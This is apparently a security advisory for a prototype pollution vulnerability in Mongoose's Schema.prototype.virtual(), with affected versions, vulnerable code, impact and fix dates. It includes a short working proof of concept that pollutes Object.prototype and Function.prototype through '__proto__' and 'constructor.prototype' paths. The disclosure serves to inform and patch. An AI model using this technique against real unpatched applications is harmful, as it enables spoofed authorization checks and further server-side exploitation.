Vulnerability GHSA-6972-9mcm-vhwj

Medium Risk
MEDIUM RISK
CVSS Score: 6.5
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
8 hours ago
November 10, 2026 at 08:46 PM UTC
Mongoose: Prototype pollution via Schema.prototype.virtual()
<6.13.12, >=7.0.0 <7.8.13, >=8.0.0 <8.24.7, >=9.0.0 <9.11.4
<6.13.12, >=7.0.0 <7.8.13, >=8.0.0 <8.24.7, >=9.0.0 <9.11.4

Summary

Mongoose: Prototype pollution via Schema.prototype.virtual()

Details

Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759

Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).

A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.

Proof of concept

const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

Related Vulnerabilities

Other vulnerabilities affecting the same packages

View all vulnerabilities for these packages

Impacted packages

Timeline

Published
8 hours ago
November 10, 2026 at 08:46 PM UTC
Fixed (6.13.12)
18 days ago
October 23, 2026 at 04:24 PM UTC
Fixed (7.8.13)
18 days ago
October 23, 2026 at 04:39 PM UTC
Fixed (8.24.7)
18 days ago
October 23, 2026 at 04:54 PM UTC
Fixed (9.11.4)
18 days ago
October 23, 2026 at 05:05 PM UTC
Last Modified
8 hours ago
November 10, 2026 at 09:00 PM UTC